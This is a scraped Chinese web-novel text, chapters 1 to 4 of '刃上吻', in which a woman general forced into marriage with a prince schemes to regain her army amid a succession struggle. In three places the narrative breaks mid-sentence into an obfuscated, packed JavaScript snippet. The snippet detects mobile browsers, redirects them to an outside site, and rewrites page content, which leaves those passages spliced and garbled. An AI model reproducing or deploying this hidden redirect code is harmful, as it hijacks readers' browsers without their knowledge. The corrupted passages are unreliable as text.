《刃上吻》 1. 大婚博弈 “砰!”烟花骤然炸响,耀亮沉沉夜空。 容鹿鸣猝然惊醒,猛觉鼻端馥郁沁人。感官迅速归位,她发觉自己竟躺在朱红暖香的锦被间。 立即翻身坐起,她环视屋内,龙凤瑞兽翘头案上,红烛跃动,硕大的“喜”字前,兵书与喜帖并置,一旁的博山炉里,百和香缓缓缭绕…… 究竟发生了何事? 服下那药丸后,她本该去正堂,当着前来议定大婚之事的礼部尚书,疯癫闹上一场,摆脱“请君入瓮”的婚事,可现下竟像是,误闯了哪位贵戚的洞房。 侍女美盼守在床下,见她醒来,哭着急急扑了过来。 “少将军,您可算醒了!” 觉出异样,容鹿鸣低头看自己,金玉宝石叮当作响,满绣的喜服似比铠甲还要沉重。 “怎么回事?”如同陷入埋伏,她极快地冷静下来。 “这里是七王府,您已嫁了七王爷!” “你说谁嫁了?”容鹿鸣又惊又疑,继而沉默,她想到了那个人。 “您——您服下药后竟昏死不醒,太医们束手无策。陛下情急,派了司天监监正来,说您定是在南境战场中了邪术,需得有人不畏血光之灾速速为您压邪……危急关头,唯七王爷在陛下面前苦求,甘愿舍命为您冲喜。” “果然。”容鹿鸣苦笑。 昨日自南境战场归京述职,三王、七王竟同时上表求娶,陛下病笃之中,命她当日择一而嫁。 她表面诺诺,心中已有算计。南北两境敌患未消,东宫之位空悬,储位之争乱局已开,她容家可不愿牵涉其间。 由是,她便预备好了药,欲借着药性装疯逃婚,避开政争,再寻机潜回南境守着——赶在天子驾崩前! 百密一疏,容鹿鸣未曾想到,那人会设局强娶。 那日她算好时辰,当着府中下人,将藏着药丸的小枣服了。此刻看来,其中的药丸定是叫他给换了,用的还是她的“假死丸”。 那是她当年在宫中做讲郎时配制的,知晓她药方的,唯有他——她当时的爱徒萧正则,现如今的七王爷。 “真是好徒弟!我教他经史药理,他却换了我的药扯我入局。”她心说,自己多年来对他避之不及,岂料终究没能逃脱! 美盼察觉她神色有异,“少将军,难道中邪之事……” “纯属子虚乌有。七王爷掌着礼部,买通监正还不易如反掌?” 美盼立刻跪倒在地,拉住容鹿鸣“龙凤和鸣”的霞帔坠子:“竟是如此!七王爷还在外面宴客……不若我们即刻走吧,大将军镇守北境,您是他唯一的妹妹,他定会庇护。 “美盼!”容鹿鸣低声呵斥:“此话不可再说。” 萧正则在门口一顿,然后才走了进来。他身着京绣的盘龙礼服,显得越发清俊挺拔。 带着点若有似无的醉意,他在她身前站定。 容鹿鸣抬头望他,曾经的孺子长大了,气势凌人,俊气的面容上,笑意渐渐消隐。 确是出手果决,剑走偏锋!这满朝文武皆知的冲喜……返回南境军中的筹划已错失良机。 到底功高成怨府,权盛是危机,容鹿鸣默想:执棋多年,此次,需得自己入局一试。 “昙现,速去相府传信,说王妃醒了。”萧正则朗声吩咐内侍。 既然已成定局,便也不必拆穿,先稳住眼前人,再谋脱身良策。容鹿鸣转念思及朝中之事,然后谦恭地跪下了。 “少将军何故如此?”萧正则在她面前端正坐下,英气逼人的侧脸闪过一丝恨意。 他绝口不提旧事,她更不想提。逝者如斯,愿他诸事皆忘却。 容鹿鸣知晓他心底最想听也最难轻信的话,于是开口道:“王爷明鉴,容家对皇上和王爷忠心耿耿,绝无二心。”她刻意放慢了语速,使这言语听上去更多了些诚意。 萧正则闻言一怔,旋即竟伸出手,捏住了她精巧的下巴。指上举世无双的白玉扳指,竟不及她的面色动人。扳指内侧刻了个极小的‘鸣’字,被他紧紧按着。 见惯了朝中的勾心斗角,此刻,他却瞧不出她是否在做戏。 “三哥曾屡求赐婚,听闻你似亦有此意。容家军有一半在你手上,你说,你们容家这是要做什么?” “三人成虎,臣从未见过三王,更遑论嫁他!”容鹿鸣脱口而出。 萧正则的手滑至她白皙的喉咙,摩挲着,蓦地扣紧。 “怎的如此坚定?还是说,你自小在你兄长容将军军帐中长大,想嫁的人,难道是他那样的?”他故意这样问,观她如何作答。 容鹿鸣心下一紧,这话问得怪异,难道……自己与哥哥并无血缘关系,世上不出三人知晓,萧正则是在试探什么吗? “王爷可是在说醉话了”,容鹿鸣掣住他的话锋,坦然应道:“坊间称我和哥哥带的兵士时偶尔冠以‘容’姓,其实哪里有‘容’家军,不过都是朝廷的兵,皇上和王爷的兵。” 萧正则笑了,看着面前人。没关系,她的软肋大抵在我手中,他默想。 晚风阵阵吹来,带着院中烟花燃尽的味道,和她鬓角淡淡的茉莉花香。这味道一如七岁那年初见她时。 她不会知晓,不仅那药方,她和他说过的每句话,都叫他刻在了心里。 萧正则凑近她,茉莉香浓了。容鹿鸣不着痕迹地侧过脸,却被他猝然扳回下颌。萧正则克制着自己,用侧脸缓缓贴上她发鬓,花香氤氲着,真好闻。容鹿鸣僵住了。 他等着她反抗,他猜,她或许藏了利器。只要她利刃出手,他便好以“谋刺亲王”的罪名要挟,迫容家臣服。 容鹿鸣却只是僵着,萧正则余光瞥见她闭上了眼睛,眼角似有亮光。 他手腕一颤,推开她。 容鹿鸣睁开眼睛,状似无意地擦了眼角:“上月与南蛮作战,不慎伤及眼角,有时会无故落泪,请王爷见谅。”言辞郑重,语无波澜。 萧正则给她气笑了:“好个无故落泪!你容鹿鸣13岁上阵杀敌,14岁率80勇士直逼北狄大营,歼敌数百。至今战功显赫,不论哪国军士,背地里谁不尊称你一声‘少将军’?你还会让人伤了眼角?” “臣只想让王爷知道”,容鹿鸣垂眸,“容家愿意为王爷做任何事。” 任何事?萧正则明白她指涉其他,可极少的,感到丝丝伴着悸动的渴望。他闻到她的气息是甜的,带一点馨香的血气。 他不能遏制,但,不会那样做。 容鹿鸣依旧跪着,她清楚,真与假,俱是要做到恰好,才能化去萧正则的些许疑虑。 倦极了似的,她用手撑住地面。萧正则这才发现,她肩伤似乎开裂了。那丝隐秘的遐想倏忽散去,他想到她适才从南境战场归来,曾遭逢强敌,带伤,却从无败绩。 容鹿鸣瞥了眼伤口,撕下自己襦裙的一角,熟练包扎。 “王爷,今日不宜惊动太医。近日恐将奉诏还营,今晚可否容臣睡于床下?”那秀媚的眉眼间皆是阔朗之气。 想抱起她、为她包扎的念头在心里辗转,萧正则却只许自己掀去婚床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一刹,杀手精白的钢刃压在他颈上,而容鹿鸣重伤未愈,又被暗箭射中手臂…… 他闭上眼睛准备认命,却猛听得朔风过耳,身后一声哀嚎。 武器全无,千钧一发间,她竟拼力掷出一物,刺入敌人眼窝,继而迅疾夺过那刀,将那人牢牢钉在地上——得救了,转瞬之间! 再看向她时,鲜血已浸透她官服衣袖、汩汩涌出。她竟是忍了剧痛,拔出了手臂上的箭簇。 “别愣着,快来帮忙。”他颤抖着走过去,拼命忍住惧怕,不是怕她,那种死亡的征兆拢住他们周身。 他助她紧紧缠住肩上伤口。 她蓦地把自己的血抹在他脸上,“近卫一来你就放声哭,喊疼,明白吗?” 他战栗着点头。 “除了陛下,别信任何人。我会暗中护你。” 那以后的很多年,夜寂时分,颈上那一线带痛的冷意和她伤口的热血,常在他心里执拗地纠缠。 直到,她成了他的讲郎。 “那时……”他想问很多事,却不能说出口。 容鹿鸣用力推开他,起身盘起长发。她背影清瘦,晨光中如一株清净勃发的竹。 萧正则就势倚了雕花床柱,让自己缓缓生出些笑意。他自愿走入这赌局,哪怕是死局,她的血也只能染在他手上。 3. 归宁杀机 当夜,萧正则因伤宿在相府。 他面色苍白,似是苦忍剧痛,长眉颤动,卧床不语。 容鹿鸣立在床头,觉得不便多问,行罢礼,欲随太医一道退下。 去意刚起,却听萧正则低声唤她:“过来。” 容鹿鸣只得上前一步,被他扣住手腕,一个用力,跌坐床沿。 他淡色的嘴唇抖动了几下,把脸埋入她敞开的手心,“好疼。”他虚弱地说。 他浓密的长睫在她掌心扑动,仍像小时候那样。她心中一颤,想要抽回的手于是滞住,用拇指轻抚他蹙起的眉心。 其实她方才看见了,萧正则与十王碰杯时,指间暗中滑了粒小药丸进十王杯里,无声无息,入杯即化。 精通药理的她心中明了,那是种会让人癫狂的药。 所以十王突然丧失理智,而那些鲁莽冲进来的侍从中,难道会没有他事先安排的“引子”? 突然,一阵浓郁的血腥气扑来,容鹿鸣即刻抽手,划向腰侧——未带刀。在她下意识劈出手刀前,面前人开口了:“殿下,药已煎好。” 是萧正则的内侍昙现,他恭敬地捧着药,面容平和。血腥味自他而来。容鹿鸣见他穿的衣服已不是宴会上那件,皂靴似是擦过,可雪色边沿仍有暗红点点。 血腥唤醒敏锐,她一瞬地知道,这血是谁的了。 闯进来十王侍从里,末尾是个不当值的龙武军校尉,容鹿鸣刚巧认得。她当时还在想,他怎的这般入了这庭院,不怕会万劫不复? 容鹿鸣预备起身退下,她猜到他们接下来会说些什么。 萧正则复又扣住她手腕,力道之大,不似一个伤者。 昙现语调柔缓:“已遵照王爷吩咐仔细审过,那校尉认下是受十王指使,入相府意图趁乱行刺王爷您。” 萧正则听罢,轻轻笑了笑:“我的事,不会累及相府。药端下去。王妃,你也可安心退下了。” 待容鹿鸣的脚步声渐远,萧正则利落地坐了起来,眸中锐光一闪,“诱那校尉潜入相府的书信呢?” “回王爷的话,已取回销毁。” 不久,宫内传回消息,尚书左仆射和门下侍中深夜入宫,皇后迫于压力,收了十王龙武军的兵符。 而容鹿鸣的烦扰远未结束。她坐在月柏轩的书房内,看着紫檀书案上,两个一模一样的蓝底银线竹纹香囊。 左边那个不是她的。散席时三王侍从呈来,说是在园中捡到,听旁人讲是七王妃的,便赶紧送了来。 细腻的丝缎滑过指尖,这香囊内壁上除了一行邀她晤面的小字,还书着些许符号,像极了西戎古语。可即便在西戎国内,懂的人也极少了。 诧异之余,容鹿鸣反倒笑了,想想三王萧正昀,为了试探自己,还得去研究西戎古语,虽然颇有疏漏,可也真是…… 尽管那时年齿尚幼,容鹿鸣犹记得乳母临终时曾反复叮嘱她,万不可再说西戎古语,亦不可让人知道她通晓此语。 西戎古语,藏着什么隐秘吗?容鹿鸣想,心中掠过苦痛。萧正昀借此物传信,约她相见,他想要的东西,她猜到了。不过大概不是请她相助,而是胁迫。 目下内忧外患,这个关口被发现容家庶女、七王新妃与敌国西戎牵扯颇深,难保不会祸及全族。 她拨弄了会儿腕上从不离身的沉香佛珠,起身,裁下半张剡藤纸,提起案头狼毫。 鸟鸣清寂,启扉欲归。容左相拉着容鹿鸣的袖角,久久不放。外人道是父慈子孝,容鹿鸣心中清楚,阿耶对她多有嘱托。 坐在钿车之中,容鹿鸣亲手焚了炉沉香。 “王妃……” 容鹿鸣始终望着窗外,翠色过眼,三王之事压在她心底。 “七王妃!” “王爷说的是。”她开口便答,不在意他说了什么,依旧恭敬,似是笑着,却未曾见着笑意。 又是如此,萧正则淤塞已久的不快终于爆发,“你大可不必总是笑,一副放不下身段,又想阿谀奉承的样子。” 他一瞬地念及从前,彼时身若蝼蚁,却可得她顾惜,而自从他暗中握了权柄,一切竟截然不同。 容鹿鸣蓦地转过脸,忍不住笑了出来,昨日种种皆成过往,这人到底想她如何? “臣不才,只懂杀敌,不懂献媚。”她敛去笑声,难得地未做掩饰,全无臣服之色。 萧正则一把拉住她的手臂,将她摁进怀里,鼻息相闻,“鸣鸣,不要激怒我。” “王爷还是不要叫我鸣鸣的好。”她未挣脱,却轻轻说。“鸣鸣”是她乳名,只有极亲近之人才这样叫她。 萧正则冰冷的手指抚上她面颊,“鸣鸣,你是我的王妃,我们会在一起很久很久。” 她想说未必。 他却用染了龙涎的衣袖,轻轻掩住了她的嘴,“七王妃,望你切切记住,你们容家与我,已是一荣俱荣,一损俱损。” “他觉察什么了?”容鹿鸣心中警觉,而后忽一用力,迫萧正则松手,径直跃下马车。 美盼见状,连忙把她拉上马,两人共骑。 马车里,萧正则把那衣袖,久久印在自己心口。 当晚,容鹿鸣亲自去书斋为萧正则奉茶。 穿过王府庭院的重重竹影,她望了眼月色,暗云涌过,无损清辉,然后接过美盼手中金丝楠的茶盘。 紫檀的盘龙纹书案上,碧色茶汤跃出天青釉莲花茶壶,倒出的第一盏恭敬地置于萧正则面前,第二盏由她自己暖在手心。 读懂了他的神色,容鹿鸣于是先饮了,萧正则这才端起茶盏。 两人真像是相敬如宾,默默地,亦在彼此提防。 前线军报送到,昙现立即捧了进来,容鹿鸣等的就是这个!萧正则也不避讳,摊开与她一道看。 按捺住焦虑,容鹿鸣快速浏览而过,原是北狄又有了新战术,小股步兵突然冲入晋军骑兵,长剑配短刀,专砍马腿,防不胜防,北境受伤的马匹、士卒不可胜数。 竟不是她苦苦等待的——容家军南境战败的消息! “少将军,世人多传你有墨子之能,此事,你可有对策?”旁人不知她儿时曾被困奴隶所,只知她意外得了高人指点,研习《墨经》。 萧正则的话将她思绪扯回。 南归之计迟滞,弹指间,容鹿鸣又生一计:需得立即扯三王入局,先借机与他见上一见…… 第二日傍晚,萧正则从宫中归来,见容鹿鸣换了文士装束,正与一众工匠商讨着什么,图纸散了一地。看见他来,忙选了张最中意的呈给他。 “前日皇后娘娘赐了王爷一双靴子,臣颇受启发,设计了这个。” 萧正则扫了一眼,便抽过来细看。 “可便于携带?” “不拢在马腿上时可以收拢,作一件武器,类似短棒。” “不错,什么时候能造出来?” “今晚可造模,明日即可开始铸造配件。” “好,前线将士们正为此事担忧,三日内能否完成?” “王爷,臣愿督办此事。” 萧正则笑了,清越若流风,容鹿鸣极少见他这样。他俯身轻轻对她说:“少将军,你果然如外界传言,不只是会打仗啊。” “王爷谬赞了。” “明日让昙现跟着你,再带几个侍卫,虽然你大概不需要。” “是。” 翌日清晨,容鹿鸣在军械坊内仔细检查各道工序,有人过来禀报,后方脱模部分出了点问题。 “我去去便回,昙现公公,代我看好此处。” “是,王妃。” 这是他们约好的暗号。萧正昀时常奉旨督造武器,军械坊内心腹颇多。 容鹿鸣穿过军械坊后的重重庭园,走过小桥流水,等在凉亭上的那人,正是萧正昀。 “三王爷。” “我知少将军聪颖过人,定能明白香囊里的秘密。” 容鹿鸣淡笑着:“三王爷写下了时间地点约我前来,我便来了。” “少将军难道不识西戎古语?”萧正昀看上去万分惊讶。 “怎么,我应当识得?” “想当年,我们两国盟约尚存,西戎靖王曾以治下全部封地为聘,求娶少将军,我以为,少将军对西戎大抵会多些了解。” “唉,臣委实不才,并无所知。”容鹿鸣避重就轻,心中暗叹:看来容家军的精锐之中也有萧正昀的人,连当年不得不隐秘为之的权宜之计他都知晓。 “既如此,那本王换个说法”,萧正昀不甚相信,倒也不再追问,“容家军中不一定有七弟的人,却一定有我的人。” “三王爷说的,我有些不懂了。” “七弟许你的,本王同样可以给你,除此以外,还可以多给你一样。”萧正昀脸上挂着漫不经心的笑,迷雾一般,让人猜不透他的想法。 “哦?” “少将军智勇皆备,多年来征战沙场,无一败绩,难道竟甘心困于王府?” 被刺中心事,容鹿鸣反而笑了:“王爷想要什么?” “我要七弟要的。” “容家军并不都在我手上。” “我猜,你兄长容大将军不一定会听从你的劝说。或许,你能让我这个七弟不慎薨逝,那么,大局亦可定。”萧正昀惬意地坐于红木交椅上。 容鹿鸣沉默了,面有难色。 “不急,我给你三日,三日后给我你的答复。” 容鹿鸣转身要走。 “少将军当心知,父皇从前既动过赐婚你我的念头,老七疑心甚重,定不会全然信你。与我合作,于你们容家最有利。我不忍将你的隐秘告知父皇,亦是对你存了惜才之意。”萧正昀侧过脸,深深看了她一眼。 容鹿鸣略一停步,未回头,走出亭外。 美盼守在回廊处,见容鹿鸣缓步走来,神色凝重。 “少将军,此事可要告知相爷?” “不必”,她心中有数:“月柏轩的白玉棋盘下,压着我写好的一封信,三日后,叫暗卫送来这里,交与三王信使”,她们已走回前院,容鹿鸣远远示意,“就是那个哑巴门子。” “是。” 文华殿内,萧正则彻夜未眠。 午后,昙现从王府取来需用文书,双手呈与他。 萧正则捏着那锦面的册子,不读却问:“王妃在做什么?” 昙现停顿了片刻:“王妃说,她是在刻水仙。” “她还会雕木器?”萧正则搁下册子,抬起头问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592631|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“回王爷的话,不是木雕,王妃自军械坊归来时,见园中花匠们刨出些萎顿块茎,便要了几块,说是雕刻后养在水盆里,虽晚了些,说不定亦可长出花枝。” 莳弄水仙?萧正则哼笑,一向经她手的花草,非死即伤,那么喜欢虎头茉莉,也没见着她种活一盆。这会儿怎么起了闲心,难道真对军中变故一无所知? 容鹿鸣亲自去库房挑选花盆。数十个桐木架子上,青瓷居多。 倒是与自己喜好相同,她一架架看过去,捧起件汝窑青瓷矮脚盆细看,釉色润如春雨初至,且釉底竟无开片,不愧是皇室珍品,做个水仙盆正合适。 她捧稳了向外走,新近的军报正紧紧塞在她袖里。 情急之中,美盼已微微变了脸色。容鹿鸣却又着下人寻来几枚玉白鹅卵石,于汝窑盆中栽好水仙,方才在书案前坐下。 “少将军,军报!”美盼极力压低声音。 容鹿鸣垂眸,示意她稍安勿躁。自己给自己倒了杯冷茶。 密送于她的军报上书:容家军南境大败,连失三城。用的乃是正楷,意味着,容家军确然败了。 原本的密谋是,正楷为正,行草为反。兵行险招,装疯之策失败后,她便设法封锁了南境消息。军中接到她的传信,呈给陛下的军报,会谎称战败,陛下忧心南境,定会派她出征。而交到她手上的密报若是行草,方才表明南境安好。 未曾想到,竟真的败了。虽说新任将领乃十王心腹,资质平庸,可容家将士早有布局,新将也算勉强识得兵事,何至于大败?容鹿鸣直觉,此事必有内情。 前车之鉴。老皇帝病后,疑心日甚,朝中将才,已是处死的处死,流放的流放,所剩无几。 昨日宫中又处死了两位太医,之前的龙体转安恐是回光返照之象。容鹿鸣想,自己必得速速拿回兵符,赶在陛下驾崩前回南境守着,免得哪位王爷再弄出勾结外敌逼宫之事,再一并栽赃个容家这样的簪缨世家……这乱局,务必尽早抽身! “少将军!”美盼知她心有计策,仍不免焦急。 “月柏轩的那封信,即刻差暗卫送出。” “是。” “若想萧正昀替我们困死局中,恐怕还需替他做一件事。” “什么事?” “以他之名,杀萧正则。” 美盼不敢置喙,面如死灰。 容鹿鸣倒不再多说,只是觑着天色。她在等待时机,去见萧正则。太早或太晚都显刻意,那人何等聪明。她若轻易开口便难求得,需得让他主动把兵符奉上。 她托腮看了会儿盆中水仙,新划开的乳白嫰茎散出青涩草香。 半晌,她开口道:“美盼,替我梳妆”,她随意理了理乌发,“只需稍作打扮,最好还留点军士的样子。” “少将军,这是要?” “去,热一碗参茸汤,随我去文华殿探望王爷。” 容鹿鸣等在文华殿偏殿内,月色蜀锦连珠纹褙子,霜色罗裙,臂间绕了淡青的云纹披帛。高高盘起的乌发上,仅一支错金的紫檀簪子。 昙现一去通禀,萧正则立刻来了,见了她,如迎面一枝染了春雪的虎头茉莉。万端心事恰恰落了,猎物要投入陷阱了么?他面上升起从容笑意。 “王爷昨日未归,想来辛苦,我煮了些参茸汤来。”容鹿鸣淡笑着,接过美盼手中薄胎的羊脂玉盅,内里汤色透出来,色如琥珀,捧与面前人。萧正则看着她,也是笑,却没有动。 容鹿鸣立刻懂了,取调羹喝了一口,“冷热刚好呢,王爷不尝尝?” 萧正则笑意深了,端起汤盅一饮而尽:“味道不错,王妃有心了。” 容鹿鸣略一颔首,收拾碗碟,刻意露出手腕上经年的伤疤——那是战场的痕迹。 汤是什么味道,萧正则全无在意。他在等,可容鹿鸣却不求! 见她理罢食具欲走,萧正则蓦地按住她的手,轻轻抚摸那疤痕,“十王手下那个废物将军,已是大败被俘,连带着容家军也败仗连连。南境不稳,朝中某些人就想跳出来作祟,王妃你说,当如何呢?” 容鹿鸣默默立着,不说话。 萧正则意有所指:“王妃,你这沉默可真是时候。” “那王爷说,我当如何?” “你难道不想回战场?”话甫一出口,萧正则即刻意识到,自己丧失了胁迫她的最佳时机。 “王爷若信我,放我回军中,我必驱蛮敌。”容鹿鸣抬眼,直视萧正则。 这一刻,除去伪饰,他们对彼此的实力洞若观火。 “好!”他从袖中取出早已准备好的虎符,递予她。她干脆地接了,从左手抛到右手。这可指挥千军万马的东西,在她手里竟玩具一样,周遭侍从看得皆是心惊。 萧正则凝眸望她,那艳美的脸庞,眼里有霜色一闪。 他突然拽住她的手死死扣在案上:“容鹿鸣,你要的兵权,我争来给你,我要的,你敢不敢给?” 她没有回答,眼里尽是揣度。 “无论发生何事,切记,容相说不定会落在我手中。”他俯身在她耳畔低语,极尽柔情缱绻。 他是不会容她一去不复返的,即便猜到她或许心有杀意。 引颈待戮又何妨,只要,抽刀的是她。 4. 囚鸟出笼 午夜,七王府。容鹿鸣正整理戎装。凉风卷来夜气,草叶寂寂香。 “看近日宫中动静,皇上怕是不好了。我写与靖王的信,速速送出,”容鹿鸣默了一息,“请他声势浩大地入南境军营。” “少将军,靖王毕竟是敌国贵胄,这样做……” “无妨,大营之中,唯三王的人会走漏风声。” 暗卫应诺,躬身放下一封信,领命而去。 是三王的回信。 容鹿鸣展信读了,粲然一笑,左不过是个死。她燎了烛火,看跳动的焰在青瓷笔洗里静静焚了,心念动得很慢。 诱萧正则亲征南境赴死?可,亦不可。那下黄泉之人,非得是他么?她褪下腕上沉香佛珠,在手里拨着。 “少将军,您这是要干什么?”美盼心神不宁。 “如今,各方的势力角逐都观望着我容家,若我‘消失’一下,顺道拉三王爷下水,萧正则除了劲敌,亦可趁乱拉拢宋氏,容家不必插手,时局大概也可定下。” “助王爷上位,不是大功一件吗,我们为何不插手?” “能否真的执掌大权不说,容家煊赫过久,王爷并非真的信任我们。万一到那时候,大功和过失一样,都会引火烧身。不如寻着时机,以求脱身。” “那‘消失’,‘消失’是什么意思?”美盼忧心忡忡,她的少将军从未失手过,可这一次,她心中升起不好的预感。 “你且留下,将这边的情况时时传信于我。代我照顾好阿耶,鹿鸣在此谢过。”容鹿鸣说完,竟是要向美盼行礼。 美盼“扑通”一声跪下了:“少将军这是什么话?您在战场上从无败绩,如今怎么好像交代后事一样?” 容鹿鸣紧紧握了握她冰冷的手:“美盼,好好保重。”言毕,毅然转身离开。 她太了解萧正则。军械坊既是三王地盘,他便不会没有安排,兴许已知晓她与三王会面之事。正好,借他之手,借三王之力,再把朝局搅一搅,她才好顺利脱身。 即便计划有失也无妨,不过是和南境的虎头茉莉一般,眠在那里罢了。 窗外孤月斜照,京中容家军的精锐之士已集结完毕。 铁甲映辉,淡淡的血腥味拢着萧杀之气,在风中弥漫开来。容鹿鸣翻身上马,将士们山呼:“少将军!”她是他们的战神,时时与他们并肩而战的勇士。 “出发!”一声号令,铁骑绝尘。 萧正则站在皇宫最高的望台上,望着容家军殷红的战旗,猎猎生风,飞动如流火。想到那人墨色长发,英气明丽的眼睛,片刻不舍,他紧握阑干,复又松手。 昙现走到萧正则身边,呈给他一张字条,又低语了几句。 字条上的那个名字,萧正则猜到了。后面的那句话,他却不知该不该信她。 容鹿鸣潇洒肆意的字迹:宋淑离。亲征来此。 萧正则团起纸条,紧握掌中,恨不得把她的墨迹压进血脉里。比起她与三王同谋,他更厌恶她的另一层心思。“这种时候还在说别人,看来,她是真的不想做七王妃啊!”他明白她的算计,可忍不住地,心生恨意。 一路往南,容鹿鸣不敢稍作休息。她知道自己在跟老天争时间,不管是哪位皇子继位,必须赶在新帝登基前完成这一切,才能既保住疆土又趁机脱身。 宇文靖已在营中等了她一日,龙纹锦袍加身,掩不住清雅的少年俊气。见她驰马而来,肆意摘了头盔,墨色长发在风中猎猎如旗。他想:真好,她还是原来的样子。 “鹿鸣!”一听到熟悉的声音,容鹿鸣立刻就笑了。她在簇拥而来的将士们中,一眼找到了宇文靖。 “靖王,久违了。”容鹿鸣飞身下马,抱拳如仪。 “已经是世子了呢。”站在一旁的将士说。 “太好了,西戎必将借由你手复兴!”容鹿鸣真心实意地欢欣。 “为了你这句话,我也不敢懈怠啊。”两人说笑着并肩走入军帐。 一进营帐,两人迅即左右分立,瞬间,将跟在容鹿鸣身后的一个陌生侍从按倒在地。他们多年默契,一个眼神就能明白对方所思。 “说,谁派你来的?” “少将军何出此言,小的是……” 容鹿鸣匕首出鞘,利落地钉入那人手掌:“容家军的每一个人我都记得,你不是。谁派你来的?” 那人痛得面容扭曲,咬牙不说。 “十王、三王……”容鹿鸣缓缓转动刀柄,盯着那人的眼睛,顿了顿,“还是七王?” 接着她猛地拔出匕首。“来人,给他上药,堵住嘴绑好,扔到屏风后面。”她接过侍女巧笑递来的丝帕,抹去刃上血渍。 宇文靖压低声音:“谁的人?” “三王的。我提到三王时,他神色有变。三王派人跟过来,定是担心我不会真的对七王下手,过来探个虚实。我怕这人路上传信,进了军营,才好动手。” “你信不过十王、三王,竟也信不过七王?” “容家不愿卷入政争,但求护国佑民。” “可你毕竟是……” “七王妃?靖王也生在帝王之家,怎不知我这是入皇家为质子?” “四境皆传,七王在皇帝面前长跪苦求,非你不娶。”容鹿鸣讪笑,与宇文靖在沙盘前坐下,问道:“这说法,你可相信?” 有些事,宇文靖其实早生疑窦。他自幼喜爱晋国的文人书画,知晓当世书画双绝的大儒林思齐,没教出几个得意门生,容鹿鸣却是其中一个。而容鹿鸣呢,只教出了萧正则这一个出众的弟子…… 烛火辉映着她的面容,艳美而静默,宇文靖静静望了一会儿,揣度着萧正则的心思。 然后,他忍住想说的话,苦笑着微微摇头,“你是容家独女,为了兵权,他不娶你,难道娶容雅歌不成?” “哈哈,送我哥哥入宫当男妃,这等开先河的趣事,怎么没有人想到呢?” 宇文靖想到容雅歌整日生人勿近的样子,也是笑。 容鹿鸣却是忽然正色道:“所以你看,这都不过是交易。”说完,她状似无意,“如果……见到我哥哥的话,把这些告诉他。” “好。”宇文靖等着她接下来的安排。却见她唤过侍女,端来个红木漆匣。他以为里面藏着什么机关武器,不想,却见她取出套竹制茶具,雕着梅兰竹菊,甚是精美,然后,又变戏法似的,摸出个楠木茶筒。 宇文靖觉得脑中嗡嗡直响,火急火燎地把他叫来军营,前任将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592632|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领正跪席待罪,军帐里还压着个身份敏感的探子,她竟还有心思品茶……这种文人脾性,他真是无言以对。 “来,靖王尝尝,明前龙井,今年新摘的。” 宇文靖接过那精巧的竹杯,“啪”地放到一旁案上,看着她,不说话。 “急什么,靖王这身华贵官服,可不能白穿呐。” “你到底想干什么?” 容鹿鸣抿了口茶,惬意地眯起眼睛。 “报!左副将求见。”话音未落,容小虎拽着个人冲了进来。 “少将军,就是此人!遵少将军吩咐,我带人埋伏在鸽栏附近。唯他摸黑前来,意图飞鸽传书。末将从他身上搜出了这个。”容小虎呈上来一个小纸卷。 容鹿鸣看罢,递与宇文靖。跪在面前的犯人被堵住了嘴、五花大绑。她认得他。 “三王在我营中时,这是跟在三王身边的人。”容鹿鸣侧过脸,对宇文靖说。 “他预备趁着这会儿把我在你营中之事密传给三王?” “不然呢?新将入营,敌国俊气无匹的世子亦等在营中,大家都去观瞻,多好的机会。” “鹿鸣!”宇文靖面色赧然。 “他传出去的,恐怕不止这个。前次与南蛮的大战,败得蹊跷。仔细审审,看他还传出去了什么?”自那日萧正则提到引诱三王策动兵变,容鹿鸣就生了些隐约的猜度,若只靠他三王府的势力,他怎么敢? 她朝容小虎递了个眼色。 宇文靖亦会意,直觉鼻端一阵血腥气。他端起茶盏,茶水已温,香气未减。他有些猜到容鹿鸣到底想做什么了。 “可是鹿鸣,那萧正昀最是个阴狠毒辣的,你这么算计他……” 容鹿鸣哼笑:“我们这算,彼此彼此。” 宇文靖去另一侧屏风内,换上身烟灰色圆领长袍。西戎官服在这军营里委实太过显眼。 容鹿鸣走出帐外,宇文靖跟在她身后,负手而立。 “兄弟们,把酒坛子搬上来。”十个粗陶大酒坛在营帐前一字排开,将士们高声欢呼。 容鹿鸣揭开一坛,舀了一碗递给身边人,“靖王,尝尝我差人新酿的酒。” 宇文靖饮了一口,抿着嘴低声道:“此水甚好,可是全无酒味儿啊。”容鹿鸣朝他眨了眨眼睛,“传令下去,迎接新将军入营,今夜畅饮,不醉不休!传左右副将到我帐中听令。” 四人围坐沙盘。左副将容小虎,简直快要眼泪汪汪了,将才形势紧急,只顾得上听令行事。此刻,他有许多话想对容鹿鸣说。相伴征战多年,他们早已如亲人一般。 “少将军,听闻您嫁与了七王爷,兄弟们还以为……” “只是缓兵之计罢了。” “少将军……呜……” “唉,阿虎不哭,你一个左副将,快快捂了脸,莫叫靖王笑话。” “笑就笑吧,我就是担心少将军像静妃娘娘一样,身陷皇家之争,不能善终。” 